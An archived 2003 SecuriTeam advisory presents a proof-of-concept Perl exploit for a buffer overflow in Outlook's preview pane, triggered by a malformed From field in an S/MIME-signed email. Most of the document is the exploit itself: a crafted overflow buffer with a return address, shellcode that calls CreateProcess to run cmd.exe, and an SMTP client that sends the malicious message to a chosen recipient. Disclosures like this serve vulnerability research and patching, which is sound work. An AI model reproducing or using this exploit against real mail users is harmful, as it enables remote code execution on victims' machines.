

# [EXPL] Outlook Remote Code Execution in Preview Pane (S/MIME, PoC)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0073.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/29/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 29 Jan 2003 11:39:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

Outlook Remote Code Execution in Preview Pane (S/MIME, PoC)

---

## SUMMARY

As we reported in the past

<<http://www.securiteam.com/windowsntfocus/6D00B005PU.html>> Outlook Remote Code Execution in Preview Pane (S/MIME), a vulnerability in Outlook Express allows a remote attacker to cause the program to automatically execute arbitrary whenever a user clicks on an email that contains a malformed From field. Ironically, the vulnerability occurs because Outlook tries to display the malformed field inside a warning message, causing an internal buffer overflow.

## DETAILS

Exploit:

# (The exploit code will not work straight out of the "box")

# Noam Rathaus – Beyond Security Ltd.'s SecuriTeam

# Note the certificate is a valid one for [noamr@beyondsecurity.com](mailto:noamr@beyondsecurity.com) issued by Thawe.

# Message (buffer) starts at 0006F578 (circa)

# Message (buffer) ends at 0006F94C (circa)

## Securiteam: [EXPL] Outlook Remote Code Execution in Preview Pane (S/MIME, PoC)

```
# The problem lies here:
#
# 5F26F339 mov ebx,dword ptr [eax]
# .
# .
# 5F26F354 call dword ptr [ebx+10h]
# .
# .
# Now since we control the EAX, but we can't provide it with NULLs, we
# must find somewhere in the
# kernel memory a place that has the following number (of our buffer), for
# example:
#
# We found 00 06 F5 A4 at 5F1835C7
#
# Windows 2000 SP3 Internet Explorer 5.5
#
# So our 5F1835C7 is placed in EAX, which has this memory content 0006F5A4
# Causing our MOV to place in EBX the the following content 00 06 F5 A4.
# The final EIP call goes out to 0006F5B4, this is where our arbitrary
# code lies.
#

use Getopt::Std;
use IO::Socket::INET;
use MIME::Base64;

getopt('tfhi');

if (!$opt_f || !$opt_t || !$opt_h)
{
    print "Usage: malformed_email.pl <-t to> <-f from> <-h smtphost> <-i
start number>\r\nstart size should be bigger than 100\r\n";
    exit;
}

# 12345678901234567890123456123456789012345678901234567890123456
$buffer = "ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"x11; # 584
$buffer = join ("", $buffer, "123456789012");

#$addr = "\x34\xF3\x26\x5F";
#$addr = "\xC7\x35\x18\x5F"; # points to 0006F5A4

$addr = "\x9F\x37\xD4\x77"; # points to 0006F3C0

$buffer = join ("", $buffer, $addr); # used by the mov EBX, [EAX]

# 6 lines = 6*26 # This is to place our code in the right place
# + 8 = 164 # Calculation done accordingly.
# + 10h = 16 + 164 = 180
```

## Securiteam: [EXPL] Outlook Remote Code Execution in Preview Pane (S/MIME, PoC)

```
$buffer = join ("", $buffer, "A"x180); # We move our buffer to the right place.
```

```
#$buffer = join ("", $buffer, "\xC3\xAF\x01\x78"); # address of cmd.exe  
(This will just run CMD.exe,  
#$buffer = join ("", $buffer, "A"x$opt_i); # but will get stuck)
```

```
# A lot neater shellcode for cmd.exe
```

```
$buffer = join ("", $buffer, "\x55"); # push ebp  
$buffer = join ("", $buffer, "\x54"); # push esp  
$buffer = join ("", $buffer, "\x5D"); # pop ebp  
$buffer = join ("", $buffer, "\x33\xFF"); # xor edi,edi  
$buffer = join ("", $buffer, "\x57"); # push edi  
$buffer = join ("", $buffer, "\xC6\x45\xFC\x63"); # mov byte ptr  
[ebp-04h], 'c'  
$buffer = join ("", $buffer, "\xC6\x45\xFD\x6D"); # mov byte ptr  
[ebp-03h], 'm'  
$buffer = join ("", $buffer, "\xC6\x45\xFE\x64"); # mov byte ptr  
[ebp-02h], 'd'  
$buffer = join ("", $buffer, "\x57"); # push edi  
$buffer = join ("", $buffer, "\xC6\x45\xF8\x03"); # mov byte  
ptr[ebp-08h], 3 ;Max window  
$buffer = join ("", $buffer, "\x8D\x45\xFC"); # lea eax,[ebp-4h]  
$buffer = join ("", $buffer, "\x50"); # push eax  
$buffer = join ("", $buffer, "\xB8\x7E\x68\x4C\x67"); # mov  
eax, 7E684C67h ;CreateProcess@77E684C6h  
$buffer = join ("", $buffer, "\xC1\xC8\x04"); # ror eax, 4  
$buffer = join ("", $buffer, "\xFF\xD0"); # call eax  
$buffer = join ("", $buffer, "\xB8\x7E\xB8\x54\xB7"); # mov  
eax, 7EB854B7h ;FatalExit@77EB854Bh  
$buffer = join ("", $buffer, "\xC1\xC8\x04"); # ror eax, 4  
$buffer = join ("", $buffer, "\xFF\xD0"); # call eax  
$buffer = join ("", $buffer, "A"x$opt_i);
```

```
$sock = IO::Socket::INET->new(PeerAddr => "$opt_h", PeerPort => '25', Proto  
=> 'tcp');  
unless (<$sock> =~ "220") { die "Not a SMTP Server?" }  
print "Connected\r\n";
```

```
print $sock "HELO you\r\n";
```

```
unless (<$sock> =~ "250") { die "HELO failed" }
```

```
print "MAIL FROM: $opt_f\r\n";  
print $sock "MAIL FROM: $opt_f\r\n";  
sleep(1);
```

```
unless (<$sock> =~ "250") { die "MAIL FROM failed" }  
print "RCPT TO: $opt_t\r\n";  
print $sock "RCPT TO: $opt_t\r\n";
```

Securiteam: [EXPL] Outlook Remote Code Execution in Preview Pane (S/MIME, PoC)

```
sleep(1);
```

```
unless (<$sock> =~ "250") { print $sock "RCPT TO: <$opt_t>\r\n"; unless  
(<$sock> =~ "250") { die "RCPT TO failed" } }  
print $sock "DATA\r\n";  
unless (<$sock> =~ "354") { die "DATA failed" }  
sleep(1);
```

```
$lengthy = length($buffer);
```

```
print "Test #Stemp, [$buffer], ", length($buffer), "\n";
```

```
print $sock <<EOF;
```

```
From: $buffer\r
```

```
To: $opt_t\r
```

```
Subject: Test #Stemp - $lengthy\r
```

```
Date: Wed, 31 Jul 2002 16:05:00 -0300\r
```

```
MIME-Version: 1.0\r
```

```
Content-Type: multipart/signed;\r
```

```
    micalg=SHA1;\r
```

```
    protocol="application/x-pkcs7-signature";\r
```

```
    boundary="-----=_NextPart_000_002A_01C238AC.03ECDBE0"\r
```

```
\r
```

```
This is a multi-part message in MIME format.\r
```

```
\r
```

```
-----=_NextPart_000_002A_01C238AC.03ECDBE0\r
```

```
Content-Type: text/plain;\r
```

```
    charset="iso-8859-1"\r
```

```
Content-Transfer-Encoding: quoted-printable\r
```

```
\r
```

```
Test\r
```

```
\r
```

```
\r
```

```
-----=_NextPart_000_002A_01C238AC.03ECDBE0\r
```

```
Content-Type: application/x-pkcs7-signature;\r
```

```
    name="smime.p7s"\r
```

```
Content-Transfer-Encoding: base64\r
```

```
Content-Disposition: attachment;\r
```

```
    filename="smime.p7s"\r
```

```
\r
```

```
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGGUAMIAGCSqGSIb3DQEHAQAoIII7DCCAoow\r  
ggHzoAMCAQICAwgkVjANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl\r  
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEWZUaGF3dGUxHTAbBgNVBAsT\r  
FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZSxJb25hbCBGcmVlbnRpbCBUSU0EgMjAw\r  
MC44LjMwMB4XDTAyMDgyMzIwMDcwN1oXDTAzMDgyMzIwMDcwN1owSjEfmB0GA1UEAxMwVGVhd3R\r  
IEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYYbm9hbXJAYmV5b25kc2VjdXJpdHkuY29t\r  
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCniCtFVDYtv7D7EwVI0nA6uiFyz30SNveNkuKI\r  
lRctvHPp0bYq3MzcVfFiGBNVKDIQ+vb0ffupwsLQMqXiLxBLCUvDktZa7GwgIr7yuqI8RiW/Hy3J\r  
i5SsyiGIIdQzTgd/azB6k3jWLZd6iEEprsqm18sQ1EQd6FDdaa8/xtFiL2QIDAQABoZUwMzAjBgNV\r  
HREEHDAagRhub2FtckBiZXlvmRzZWN1cm10eS5jb20wDAYDVDR0TAQH/BAIwADANBgkqhkiG9w0B\r  
AQQFAAOBgQAqlzpT9/02prGZioJOqlSl+Msv7RwGx6jUTyySta6Tc3KDjL3v8iZ4GUWrN+K/jmLv\r
```

Securiteam: [EXPL] Outlook Remote Code Execution in Preview Pane (S/MIME, PoC)

O1V3e6VTgYP8gRq+BsDcPoDX8ZTC8WqzGWIREsAlGciYski/XuthQltXfh3hCOEsXU48fspivAxA\r  
pOuAxaYtX6jO5eNeJ/eGxqyySVgRCzCCAykwggKSoAMCAQICAQwwDQYJKoZlhvcNAQEEBQAwgdEx\r  
CzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEa\r  
MBgGA1UEChMRVGhhd3RIIENvbnN1bHRpbmcxKDAmbGVBAsTH0NlcnRpZmljYXRpb24gU2Vydmlj\r  
ZXMgRGI2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCKGCSqG\r  
SIb3DQEJARYccGVyc29uYWwtZnJlZW1haWwAdGhhd3RILmNvbTAeFw0wMDA4MzAwMDAwMDBaFw0w\r  
MjA4MjkyMzU5NTlaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBIMRIwEAY\r  
VQQHEw1DYXBIIFRvd24xZmZANBgNVBAoTBIRoYXd0ZTEdMBsGA1UECXMUQ2VydGlmawNhdGUgU2Vy\r  
dmljZXMxKDAmbGVBAMTH1BlcnNvbmsIEZyZWVtYWwIsIFJTSAYMDAwLjguMzAwZ8wDQYJKoZl\r  
hvcNAQEBBQADgY0AMIGJAoGBAN4zMQzjxwkiRT7SbngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfu\r  
dG8wvDOQf/k0caCjbZjxw0+iZdsN+kvx1t1hpfmFzVWaNrqdknWoJ67Ycvm6AvbXsJHeHOMr4BgD\r  
qHxDQIBRh4M88Dm0m1SKE4f/s5udSWYALQmJ7JR6aFpAgMBAAGjTjBMMCKGA1UdEQQiMCCkHjAc\r  
MRoWGAyDVQQDExFQcm12YXRITGFIZWwzLTl5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQ\r  
AwIBBjANBgkqhkiG9w0BAQQFAAOBgQBzG28mZYv/FTRLWwKK7US+ScfoDbuPuQ1qJipihB+4h2N0\r  
HG23zxpTkUvhzeY42e1Q9DpsNJKs5pKcbsEjAcIj+9LrnLdBMf1UG8uWLi2C8FQV7XsHNfvF7bV\r  
iJu3ooga7TlbOX00/LaWGCvNavSdxcORL6mWuAU8Uvzd6WIDSdCCAY0wggKWoAMCAQICAQAwDQYJ\r  
KoZlhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNV\r  
BAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RIIENvbnN1bHRpbmcxKDAmbGVBAsTH0NlcnRp\r  
ZmljYXRpb24gU2VydmljZXMgRGI2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVl\r  
bWFpbCBDQTErMCKGCSqGSIB3DQEJARYccGVyc29uYWwtZnJlZW1haWwAdGhhd3RILmNvbTAeFw05\r  
NjAxMDEwMDAwMDBaFw0yMDEyMzU5NTlaMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMdGVybi\r  
BDYXBIMRIwEAYDVQQHEw1DYXBIIFRvd24xZmZANBgNVBAoTEVRoYXd0ZSBDb25zdWw0aW5n\r  
MSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgwYDVQQDExtUaGF3\r  
dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmsLWZyZWVtYWwIs\r  
QHRoYXd0ZS5jb20wgZ8wDQYJKoZlhvcNAQEBBQADgY0AMIGJAoGBANRp19SwlGRbcelH2AxRtupy\r  
kbCEXn0tDY97Et+FJXUodDpCLGMnn5V7S+9+GYcdhuqj3bnOlmQawhRuRKx85o/oTQ9xH0A4pgCj\r  
h3j2+ZSGXq3qwF5269kUo11uenwMpUtVfwYZKX+emibVars4JAhqmMex2qOYkf152+VaxBy5AgMB\r  
AAGjEzARMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZlhvcNAQEEBQADgYEAx+ySfk749ZalZ2IqpPBN\r  
EWDQb41gWGGsJrtSNVwIzzD7qEqWih9iQiOMFw/0umScF6xHKd+dmF7SbGBxXKKs3Hnj524ARx+1\r  
DSjoAp3kmv0T9KbZfLH43F8jJgmRgHPQFBveQ6mDJfLmnc8Vyyv6mq4oHdYsM3VGEa+T40c53ooEx\r  
ggH+MIIB+gIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDfDlc3Rlcm4gQ2FwZTESMBAG\r  
A1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNl\r  
cnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMCA4LjMwAgMIJFYwCQYF\r  
Kw4DAhoFAKCBujAYBgkqhkiG9w0BCQMxCwYJKoZlhvcNAQcBMBwGCSqGSIB3DQEJBTPEFw0wMjA4\r  
MjMyMTEwNDRaMCMGCSqGSIB3DQEJBTPEFw0wMjA4MjMyMTEwNDRaMCMGCSqGSIB3DQMCAGIAgDANBg\r  
ggqhkiG9w0DAGIBQDAHBgUrDgMCHTANBgkqhkiG9w0BAQEFAASBgJqFZrTmAcNoODUFKapu\r  
b09XY3dR/Frb6LScoOT8mJk28PIgxTMzxw7IKgdb40IzcsgoJniCRY+wBcBo4nwKXV+KnTgM1RNX\r  
ppw3Wm7KUqusD+K7rSfBchaJ0mkefEn/ueN7CWV/Gbe/TpnGQ/nu2CzmrLxQyWlnITcS+xwVTv0b\r  
AAAAAAA\r

\r

-----=\_NextPart\_000\_002A\_01C238AC.03ECDBE0---\r

\r\n\r\n.\r\n\r\n\r

EOF

print "Send complete\r\n";

sleep(1);

print \$sock "QUIT\r\n";

sleep(1);

close(\$sock);

print "Disconnected\r\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:[noamr@beyondsecurity.com](mailto:noamr@beyondsecurity.com)>  
Noam Rathaus of SecurITeam Experts.

=====

This bulletin is sent to members of the SecurITeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.